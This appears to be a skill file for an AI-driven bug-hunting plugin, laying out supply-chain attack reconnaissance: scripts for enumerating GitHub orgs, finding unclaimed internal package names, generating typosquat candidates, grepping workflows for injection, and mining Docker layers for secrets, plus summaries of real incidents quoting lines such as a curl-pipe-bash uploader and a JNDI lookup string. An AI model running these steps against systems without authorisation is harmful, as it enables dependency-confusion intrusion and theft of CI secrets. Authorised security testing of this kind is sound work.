From claude-bughunter
Discovers external supply-chain attack surface including dependency confusion, namespace squatting, CI/CD exposure, and container image registry recon via public GitHub orgs, SBOMs, and JS bundles.
How this skill is triggered — by the user, by Claude, or both
Slash command
/claude-bughunter:supply-chain-attack-reconThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
Trigger when:
Trigger when:
@target-internal/..., target-utils, target-shared)package-lock.json files are publicly accessiblenpmrc/pip.conf/gradle.properties with internal registry URLs.github/workflows/*.yml files reference internal toolingDo NOT use for:
Target Org
├── Public GitHub Org → workflow files → secrets exfil opportunities
├── Internal package names in JS/Android bundles → dependency confusion
├── Docker images on public registries → secrets in layers, RCE on pull
├── SBOM / artifact metadata → exact dep versions for known-vuln chaining
├── npmrc / pip.conf in repos → internal registry URL disclosure
├── External package dependencies → typosquat name candidates
└── Build/release pipelines → injection if pull_request_target etc.
TARGET="<brand>" # set to target brand name
# Direct guesses
for guess in $TARGET "${TARGET}-tech" "${TARGET}corp" "${TARGET}-io" "${TARGET}-eng"; do
curl -sI "https://github.com/$guess" | grep -E "HTTP|status" | head -1
done
# Via WHOIS / email-domain → GitHub search
gh search users --owner-affiliations=organization --query "$TARGET" --limit 10
# Via employees → reverse from social media + GitHub profile
# Many employees list their employer org on their GitHub profile
ORG="targetorg"
# List public repos
gh repo list "$ORG" --limit 100 --json name,description,visibility,defaultBranchRef
# Look for high-signal repo names
gh repo list "$ORG" --limit 100 --json name | jq -r '.[].name' | grep -iE "internal|infra|deploy|config|secret|setup|sdk|api"
# Clone all (small org) or selectively
gh repo clone "$ORG/$repo_name"
# JS bundles are the easiest source of internal npm names
curl -sk https://target.com/main.js | grep -oE '@[a-z-]+/[a-z-]+' | sort -u
curl -sk https://target.com/main.js | grep -oE 'require\("[^"]+"\)' | sort -u
# Look for scoped names that are NOT public on npm
for pkg in @target/utils @target-internal/api @companybrand/sdk; do
status=$(curl -sI "https://registry.npmjs.org/$pkg" | head -1 | awk '{print $2}')
echo " $pkg → $status"
# 404 → name unclaimed on public npm → DEPENDENCY-CONFUSION CANDIDATE
done
# Public repos with package.json that reference internal scopes
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
pkg=$(gh api "repos/$ORG/$repo/contents/package.json" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
echo "$pkg" | jq -r '.dependencies // {} | keys[]' 2>/dev/null | grep -E '^@[a-z-]+/'
done | sort -u
# Internal pip package names
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
gh api "repos/$ORG/$repo/contents/requirements.txt" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null
done | sort -u | grep -vE '^(requests|django|flask|numpy|pandas|...common)'
For each internal-looking package name discovered:
NAME="@target-internal/utils" # example
# npm check
curl -sI "https://registry.npmjs.org/$NAME" | head -1
# 404 → name is registerable → DEPENDENCY-CONFUSION POSSIBLE
# pypi check (no scopes, just name)
NAME="target_utils"
curl -sI "https://pypi.org/project/$NAME/" | head -1
# 404 → name is registerable
# rubygems
curl -sI "https://rubygems.org/api/v1/gems/$NAME.json" | head -1
# Go modules — slightly different, since module names are URLs
# Check if module path is reachable
curl -sI "https://proxy.golang.org/github.com/$ORG/$NAME/@latest" | head -1
Severity calibration: Just because a name is unclaimed doesn't mean it's exploitable. You also need:
.npmrc without @scope:registry= mapping)A 404 on registry without supporting context is INFORMATIONAL only.
For each external public dependency the target uses:
# Common typosquat patterns:
# Original: "react-router-dom"
# Typos:
# "react-router-doms" (extra s)
# "react-routter-dom" (double t)
# "react-rotuer-dom" (transposed)
# "react--router-dom" (double dash)
# "react-router-dorn" (m→rn)
# "reactrouterdom" (no dashes)
# Generate candidates
python3 -c "
import sys
name='react-router-dom'
for i in range(len(name)):
print(name[:i] + name[i+1:]) # delete
if i < len(name)-1:
print(name[:i] + name[i+1] + name[i] + name[i+2:]) # transpose
"
# Check which candidates are UNCLAIMED on the registry
for candidate in ...; do
status=$(curl -sI "https://registry.npmjs.org/$candidate" | head -1 | awk '{print $2}')
[ "$status" = "404" ] && echo " UNCLAIMED: $candidate"
done
⚠ EXTERNAL-OFFENSIVE NOTE: publishing a typosquat package to a public registry is an attack on the wider ecosystem. NEVER do this without explicit, written, scope-clarified sign-off. It can affect users outside your engagement and may be illegal.
For each public repo with .github/workflows/:
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
workflows=$(gh api "repos/$ORG/$repo/contents/.github/workflows" --jq '.[].name' 2>/dev/null)
for wf in $workflows; do
content=$(gh api "repos/$ORG/$repo/contents/.github/workflows/$wf" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
echo "=== $repo/$wf ==="
# High-risk patterns:
# 1. pull_request_target (runs with secrets on PR from forks)
echo "$content" | grep -E 'pull_request_target'
# 2. Untrusted context interpolation
echo "$content" | grep -E '\$\{\{[^}]*github\.(event|head_ref|pull_request)[^}]*\}\}'
# 3. ${{ github.event.* }} into shell run blocks
echo "$content" | grep -B1 -A2 'run:' | grep -E '\$\{\{ ?github\.event\.'
# 4. checkout of PR head with elevated perms
echo "$content" | grep -E 'ref:.*pull_request|head_ref'
# 5. Self-hosted runner without isolation
echo "$content" | grep -E 'runs-on:.*self-hosted'
# 6. Unpinned third-party actions — mutable tag (@v1, @main) vs pinned (@<40-char sha>)
# Mutable tags can be repointed by a compromised action repo (see case #9, tj-actions/changed-files).
echo "$content" | grep -E 'uses: *[^ ]+/[^ ]+@(v?[0-9]+([.][0-9]+)*|main|master|latest)\b' | grep -v '@[0-9a-f]\{40\}'
done
done
| Pattern | Severity |
|---|---|
pull_request_target + actions/checkout with ref: pull_request.head.sha + uses repo secrets | Critical — RCE on runner with org secrets |
${{ github.event.pull_request.title }} interpolated into shell | Critical — script injection via PR title |
Third-party action pinned to a mutable tag (uses: org/repo@v1 / @main) instead of a commit SHA | High — repointable supply-chain vector (see case #9) |
| Self-hosted runner reachable from public repo workflows | High — persistent attacker pivot |
Issue-comment-triggered workflow that runs gh with token | High |
| Workflow downloads from URL that target controls | Medium |
# Docker Hub
curl -s "https://hub.docker.com/v2/repositories/$ORG/?page_size=100" | jq -r '.results[].name'
# GHCR (GitHub Container Registry) — public images visible in repo packages tab
gh api "users/$ORG/packages?package_type=container" 2>/dev/null
gh api "orgs/$ORG/packages?package_type=container" 2>/dev/null
# For each image, list tags
for img in image1 image2; do
curl -s "https://hub.docker.com/v2/repositories/$ORG/$img/tags?page_size=20" | jq -r '.results[].name'
done
# Pull and inspect layers
docker pull "$ORG/$img:latest"
docker history --no-trunc "$ORG/$img:latest"
# Mine layers for secrets
docker save "$ORG/$img:latest" -o /tmp/image.tar
mkdir -p /tmp/img && tar -xf /tmp/image.tar -C /tmp/img
find /tmp/img -name "*.tar*" -exec tar -xf {} -C /tmp/img/extracted \;
# Then run gitleaks / trufflehog over extracted filesystem
trufflehog filesystem /tmp/img/extracted --no-update
# Look for SBOMs published as releases (SPDX, CycloneDX format)
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("sbom|cyclonedx|spdx"; "i")) | .browser_download_url'
# JSON dependency lockfiles in releases
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("lock|deps"; "i")) | .browser_download_url'
# Exact-version-pinned deps → known-CVE chaining
# Compare versions to nuclei nvd templates or osv.dev for known vulns
curl -s "https://api.osv.dev/v1/query" -d '{"package": {"name": "lodash", "ecosystem": "npm"}, "version": "4.17.10"}'
# .npmrc patterns
grep -r "registry=" . # in cloned repos
grep -r "_authToken=" . # leaked npm token!
grep -r "@.*registry=" . # scoped registry
# pip config
grep -r "extra-index-url" .
grep -r "index-url" .
# Gradle / Maven
grep -rE "(mavenCentral|maven\s*\{)" .
grep -r "url.*\(.*nexus" .
# Each leaked internal URL is intel — flag the URL itself even if not directly exploitable
# Some orgs maintain a public npm scope mirroring their brand
curl -s "https://registry.npmjs.org/-/v1/search?text=scope:$ORG&size=50" | jq '.objects[].package.name'
# Public PyPI presence
curl -s "https://pypi.org/simple/" | grep "$ORG" | head -20
# Check if scope is taken — if it's NOT, an attacker could register
# (relevant for any internal package using that scope)
curl -sI "https://registry.npmjs.org/-/org/$ORG"
| Tool | Purpose |
|---|---|
trufflehog | Filesystem/git/docker secret scan |
gitleaks | Git history secret scan |
dependency-confusion (Confused) | npm scope/PyPI checks |
packj | Package risk score (PyPI/npm/RubyGems) |
Lift / Snyk vuln-db | Known CVE lookup by package version |
actionlint | GitHub Actions static analyzer |
OSSGadget | Microsoft's package metadata toolkit |
semgrep + supply-chain rules | Workflow injection detection |
osv-scanner | Match versions to known vulns |
| Finding | Severity |
|---|---|
| Internal package name + no scope-mapping + unclaimed on public npm + actively in builds | Critical — Dep-confusion RCE |
Internal package name + scope-mapping in .npmrc but _authToken leaked | Critical — direct registry push |
| Pull_request_target workflow + secrets exposed + PR-controlled code execution | Critical — Org-wide token theft |
| Docker image with leaked secret in layer | High (varies by secret) |
| Internal registry URL disclosed (but no creds) | Low — Info-disc only |
| Typosquat candidate identified (not published) | Informational — Awareness item |
| Public org has 1000+ unused names that COULD be claimed | Informational — Hygiene |
A supply-chain finding needs ALL of:
.npmrc scope:registry mapping")apk-redteam-pipeline — APKs reveal internal package names too (find them in decompiled build.gradle)cloud-iam-deep — CI/CD secrets often = cloud credentials; this skill finds them, that skill validates themhunt-cloud-misconfig — CI/CD pipeline misconfig (Jenkins / GitLab Runner) overlapm365-entra-attack — Azure DevOps pipelines are part of Entra surfaceredteam-report-template — supply-chain findings need extra clarity on blast radius (one repo vs whole ecosystem)mid-engagement-ir-detection — registering a name on public npm triggers nothing inside the client, but ANY publish action is loud and audit-trailedThis skill is squarely external — all targets are public registries / public GitHub. If the engagement involves the client's internal artifact registry (internal Nexus, JFrog, Sonatype), that is internal infrastructure and OUT OF SCOPE per feedback_skill_boundaries. Report internal-registry URL exposure as a finding; do not attempt to enumerate it.
Each of these is worth reading for what made the attack effective and what red flags existed earlier.
Twelve well-documented public cases, mapped to the recon surface above. Each entry: attack name, year, flow, root cause, impact, references, and the recon-skill takeaway.
SolarWinds.Orion.Core.BusinessLayer.dll. The trojanized DLL was code-signed with SolarWinds' legitimate certificate and shipped to ~18,000 customers via the normal auto-update channel between March and June 2020.ffmpeg.dll and d3dcompiler_47.dll shipped in signed installer.moveitisapi/moveitisapi.dll → arbitrary SQL → write webshell via xp_cmdshell-equivalent path. Classic single-CVE-mass-exploitation; not a build-pipeline attack but a SHIPPED-CODE supply-chain failure.Bash Uploader script (https://codecov.io/bash) to exfiltrate environment variables to a third-party IP. The modification persisted from 31 Jan 2021 to 1 Apr 2021 — two months before detection by a customer who noticed an SHA-256 mismatch.curl -s https://codecov.io/bash | bash for 2 months exfiltrated env vars. Confirmed downstream victims: HashiCorp (rotated GPG key), Twilio, Rapid7 (source-code partial exposure), Mercari, Confluent, Atlassian..github/workflows/ for curl ... | bash, wget ... | sh, iwr ... | iex. Any third-party URL fed into a shell is a supply-chain blast radius. Pinned SHAs in workflows mitigate; absence of pinning = finding.0.7.29, 0.8.0, and 1.0.0 of ua-parser-js (≈7M weekly downloads, transitively reaching Facebook, Microsoft, Amazon, IBM). The malicious versions ran a preinstall hook that downloaded a cryptominer + Windows password-stealer (Jason credential stealer).npm profile get on org members, partially public via the registry API). Recon output: "these 4 maintainers control packages with X installs and have no 2FA per public registry data."event-stream (≈2M weekly downloads) to a new contributor named "right9ctrl" who'd offered to maintain it. The new maintainer added flatmap-stream as a dependency, then pushed an update to flatmap-stream containing payload targeting the Copay bitcoin wallet's build — stole BTC/BCH wallet seeds from any Copay user.event-stream was bundled into the Copay wallet (build-context targeting).npm view <pkg> maintainers and recent maintainer changes for packages your target depends on. A maintainer change in the past 90 days on a 100K+ download package is a yellow flag. Also: payload-targeting-by-build-context (only fires when bundled into specific app) is HARD to detect — static scanners miss it.php-src git repository on git.php.net, signed as Rasmus Lerdorf and Nikita Popov. The commits added a Zend backdoor that executed code from the User-Agentt HTTP header (note double-t).git.php.net) had a credential / authentication flaw — possibly password-stored-in-plain in a user database leak. PHP team migrated to GitHub as canonical source after this incident.${jndi:ldap://attacker/...} in any logged string. Because Log4j is transitively pulled by thousands of Java apps, hundreds of millions of systems were vulnerable.MessageLookup substitution); deeply nested transitive dependency made inventory and patching almost impossible.tj-actions/changed-files GitHub Action (used by ~23,000 repos) and modified all version tags v1–v45 to point to a malicious commit. The injected code ran printenv and dumped CI secrets to GitHub Actions logs — visible to anyone with read access on public repos.uses: tj-actions/changed-files@v35 resolves at run time, so an attacker who controls the repo can repoint old tags. Most consumers had not pinned to commit SHA (@<sha>).uses: <org>/<repo>@v\d+ (mutable tag) versus uses: <org>/<repo>@<sha> (pinned). Any unpinned third-party action = supply-chain risk. The skill's Step 6 should explicitly flag mutable-tag usage.colourama, python3-dateutil, jeIlyfish, et al.)colourama for colorama, python3-dateutil for python-dateutil, jeIlyfish (capital-I instead of L) for jellyfish. Each contained setup.py post-install hooks exfiltrating SSH keys, GPG keys, GitHub tokens, or installing crypto-stealers targeting ~/.bitcoin/wallet.dat.jeIlyfish lived 1 year (Dec 2018 → Dec 2019). Cumulative: dozens of campaigns documented annually by Snyk/Phylum/Sonatype/ReversingLabs.package.json files (publicly cached on archive.org, accidentally-public GitHub repos, JS bundles) for Apple, Microsoft, PayPal, Shopify, Uber, Tesla, Yelp, and ~35 others. He published packages on public npm/PyPI/RubyGems with those internal names AND a higher semver. Most companies' build systems then resolved the public package over the internal one and executed his telemetry-only payload.npm install against a config that fell through to public npm — but the skill's severity table correctly notes this isn't universal.JiaT75) social-engineered the maintainer of xz-utils (an upstream OSS compression library used in nearly every Linux distro) over 2+ years. Once granted co-maintainer status, they inserted a multi-stage backdoor into liblzma build process — obfuscated as test fixtures — that would hijack SSH authentication via OpenSSH's systemd-notify integration.| Step in skill | Anchoring case(s) |
|---|---|
| Step 1 — GitHub org discovery | Birsan 2021, XZ 2024 |
| Step 2 — Public repo artefact mining | Codecov 2021, XZ 2024, PHP 2021 |
| Step 3 — Internal package-name discovery | Birsan 2021 |
| Step 4 — Dependency-confusion check | Birsan 2021, ua-parser-js 2021 |
| Step 5 — Typosquat candidates | PyPI colourama/jeIlyfish, event-stream 2018 |
| Step 6 — GitHub Actions workflow injection | tj-actions/changed-files 2025, Codecov 2021 |
| Step 7 — Docker/container registry mining | Codecov 2021, 3CX 2023 |
| Step 8 — SBOM / artefact metadata | Log4Shell 2021, MOVEit 2023 |
| Step 9 — Internal registry URL leakage | Birsan 2021, SolarWinds 2020 |
| Step 10 — npm/PyPI org presence | ua-parser-js 2021, event-stream 2018 |
curl | bash (Codecov), @v35 action tags (tj-actions), ^1.0.0 semver (Birsan, event-stream).hunt-rce — Dependency confusion lands as RCE on whatever runner installs the package; CI runners are the highest-value target. Chain primitive: internal package name leaked in public JS bundle / SBOM / Docker image → publish malicious package to public npm/PyPI under same name with higher version → next npm install / pip install on CI runner executes attacker code in preinstall hook → hunt-rce post-foothold (env-var extraction yields AWS keys, GitHub PATs, Slack tokens) → CI-plane takeover.cloud-iam-deep — CI runners have IAM credentials; supply-chain RCE there is a credential-exfil bonanza. Chain primitive: malicious package executes on GitHub Actions runner → reads $AWS_ACCESS_KEY_ID / $GITHUB_TOKEN from env → cloud-iam-deep enumeration → IAM-privilege-escalation chain → production cloud-plane access.offensive-osint — Recon discipline overlaps heavily; SBOMs, JS bundles, GitHub org enumeration, Docker registry tags all live in both. Chain primitive: offensive-osint GitHub-org recon yields internal package names referenced in CI workflows → supply-chain-attack-recon cross-references these against public npm/PyPI for typosquat/confusion candidates.hunt-cloud-misconfig — Container registries (Docker Hub, GHCR, ECR public) frequently expose private images by accident. Chain primitive: SBOM mining reveals internal-tools-v2:latest referenced → check Docker Hub for accidentally-public mirror → hunt-cloud-misconfig registry enum → pull image → extract secrets baked into layers.triage-validation + redteam-report-template — Supply-chain RECON is in scope; actual publishing is EXTERNAL-OFFENSIVE and needs explicit written sign-off. Chain primitive: recon-only candidate list assembled → run through triage-validation 7-Question Gate (specifically: "can I demonstrate impact WITHOUT publishing?") → report as "dependency-confusion candidate inventory + reproduction steps" via redteam-report-template, never as a published-package PoC unless client signed off in writing.npx claudepluginhub elementalsouls/claude-bughunterInvestigates supply chain compromises in Go, Rust, Ruby, Java, .NET, Docker projects or unknown/multi-ecosystems by checking manifests, lockfiles, and environments.
Catches poisoned npm/PyPI packages before CVE tools via behavioural analysis and cooldown gate, with Socket.dev integration. Also audits OIDC tokens and detects worm persistence hooks in Claude Code/VS Code.
Evaluates packages, manages dependencies, and addresses supply chain security for npm/pip/cargo/bundler/Go. Use for auditing packages, reviewing lockfiles, checking vulnerabilities, comparing alternatives, assessing trustworthiness.